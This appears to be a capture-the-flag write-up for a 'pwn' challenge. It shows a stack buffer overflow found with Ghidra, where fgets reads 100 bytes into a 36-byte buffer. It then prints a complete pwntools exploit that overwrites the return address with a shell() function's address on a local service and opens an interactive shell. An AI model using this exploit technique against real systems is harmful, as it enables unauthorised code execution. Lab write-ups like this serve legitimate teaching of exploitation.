Running a simple strings pwn
will show us that fgets
libc function is used.
Opening up ./pwn
in Ghidra, we can find this:
char local_38[36];
fgets(local_38, 100, stdin);
This triggered my attention because the buffer size (36) is smaller than the amount of data that fgets()
can read (100). This creates a buffer overflow vulnerability where more than 36 bytes of input can overflow past the buffer and overwrite adjacent memory on the stack, potentially leading to control flow hijacking.
Then at the fix address 0x004011a2
we find a shell function.
#!/usr/bin/python3
from pwn import *
# Set the architecture for the exploit (amd64 in this case)
context(arch='amd64')
# Create a cyclic pattern to find the correct offset for overwriting the return address
sc = cyclic(56)
# Append the address of the shell() function (0x004011a2) in little-endian format
sc += b'\xa2\x11\x40\x00\x00\x00\x00\x00'
# Connect to the remote service on localhost:4000
p = remote('127.0.0.1', 4000)
# Receive the initial prompt from the server
print(p.recv())
# Send the payload (cyclic pattern + address of shell)
p.sendline(sc)
# Clean up any leftover data in the buffer
p.clean()
# Send a command to the shell (e.g., uname -a)
p.sendline(b'uname -a')
# Interactive mode to interact with the shell
p.interactive()